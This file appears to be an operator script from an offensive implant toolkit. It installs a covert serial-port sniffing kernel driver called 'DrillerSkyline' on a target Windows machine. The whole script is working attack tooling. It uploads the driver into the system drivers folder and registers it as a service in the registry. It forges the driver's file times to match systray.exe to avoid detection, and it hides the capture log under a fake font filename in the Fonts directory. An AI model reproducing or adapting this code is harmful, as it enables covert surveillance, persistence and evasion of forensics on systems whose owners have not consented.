#--------------------------------------------------------
# File: Install.eps
#
# Wrapper script for Install of DrillerSkyline
#
# Modifications:
#  08/22/06	Stolen from DoorwayNapkin/Install.eps.
#--------------------------------------------------------
@include "_DriverIncludes.epm";
@include "_GetSystemVersion.epm";

@echo off;

if (($argc < 2) || ($argc > 3)) {
    echo "Usage: $argv[0] <driverName> [captureFile]";
    return false;
}

string $driver = $argv[1];
string $captureFile = "\\SystemRoot\\Fonts\\vga_drsk.tff";
if ($argc >= 3) {
    $captureFile = $argv[2];
}

# check to make sure we're NT 4 Sp4 or higher
int $majorVersion;
int $minorVersion;
int $buildNumber;
int $platformId;
int $spMajorVersion;
int $spMinorVersion;
ifnot (_GetSystemVersion($majorVersion, $minorVersion, $buildNumber, $platformId, $spMajorVersion, $spMinorVersion)) {
    echo "Unable to get system version -- manually verify that";
    echo "the target system is Windows 2000 or greater";
    pause;
} else if (($majorVersion < 5)) {
    # NT 4 or less
    echo "*** Target system is pre-Win 2k. ***";
    echo "    DrillerSkyline is not compatible with this system";
    return false;
}

ifnot (DriverInstall("serstat", $driver, "DrillerSkyline", 2, 1)) {
    return false;
}

# add capture file
echo "Adding additional registry key";
ifnot(`serialsniffer -driver $driver -setlogfile "$captureFile"`) {
    echo "    FAILED";
    return false;
} else {
    echo "    SUCCESS";
}

# size in kilos
int $maxSize = 512;
$maxSize *= 1024;

# add extra registry key
echo "Setting default maximum size to $maxSize bytes";
ifnot (`serialsniffer -setmaxlogsize $maxSize -driver $driver` ) {
    echo "    FAILED";
    return false;
} else {
    echo "    SUCCESS";
}

return true;


#--------------------------------------------------------------------------
# _DriverInstall
#	Copies driver to target and creates registry settings.
# 
# Params:
#	IN STRING $drvName
#		Name of Driver
#	IN STRING $localDriverName
#		Local name of the driver relative to the "Resources" dir
#	IN INT $startValue
#		Start value for driver (registry value)
#	IN INT $typeValue
#		Type of driver (registry value)
#--------------------------------------------------------------------------
sub DriverInstall(IN STRING $localDrvName, 
		   IN STRING $drvName,
		   IN STRING $localDriverName,
		   IN INT $startValue,
		   IN INT $typeValue)
{
	
	if ($drvName == "") {
		echo "* Invalid driver name given";
		return false;
	}

	ifnot (prompt "Do you want to install $localDriverName\\$drvName?") {
		return false;
	}


	@record on;

	# get the root directory
	string $system;
	string $root;
	ifnot (_GetSystemPaths($system, $root)) {
		echo "* Unable to determine system root";
		return false;
	}
	string $systemroot = "$system\\$root";

	# get resource directory
	ifnot (`getdirectory -resources`) {
		echo "* Unable to get resources directory";
		return false;
	}

	string $resDir = GetCmdData("dir");
	ifnot (defined($resDir[0])) {
		echo "* Unable to retrieve resources directory";
		return false;
	}
	
	string $resPath = "$resDir\\$localDriverName";

	@record off;

	# make sure it's not already installed
	if (`regquery -hive L -subkey SYSTEM\\CurrentControlSet\\Services\\$drvName`) {
		echo "$drvName is already installed (key exists)";
		return false;
	}

	if (_FileExists("$drvName.sys", "$systemroot\\drivers")) {
		echo "$drvName is already installed (file exists)";
		return false;
	}

	#---------------------------
	# Driver not installed
	#---------------------------

	# put the driver
	echo "Uploading the SYS";
	
	if (`put "$resPath\\$localDrvName.sys" -name "$systemroot\\drivers\\$drvName.sys" -permanent`) {
		echo "    SUCCESS";
	} else {
		echo "    FAILED";
		return false;
	}

	# match file times for driver
	echo "Matching file time for SYS";
	if (`matchtimes "$systemroot\\systray.exe" "$systemroot\\drivers\\$drvName.sys"`) {
		echo "    SUCCESS";
	} else {
		echo "    FAILED (but continuing anyway)";
	}

	# add the registry keys
	bool $keysAdded = true;
	echo "Adding registry keys";
	ifnot (`regadd -hive L -key SYSTEM\\CurrentControlSet\\Services\\$drvName -value ErrorControl -type REG_DWORD -data 0`) {
	    $keysAdded = false;
	} else ifnot (`regadd -hive L -key SYSTEM\\CurrentControlSet\\Services\\$drvName -value Start -type REG_DWORD -data $startValue`) {
	    $keysAdded = false;
	} else ifnot (`regadd -hive L -key SYSTEM\\CurrentControlSet\\Services\\$drvName -value Type -type REG_DWORD -data $typeValue`) {
	    $keysAdded = false;
	}

	if ($keysAdded == false) {
	    echo "    FAILED";
	    return false;
	} else {
	    echo "    SUCCESS";
	}



	return true;

}	/* end _DriverInstall */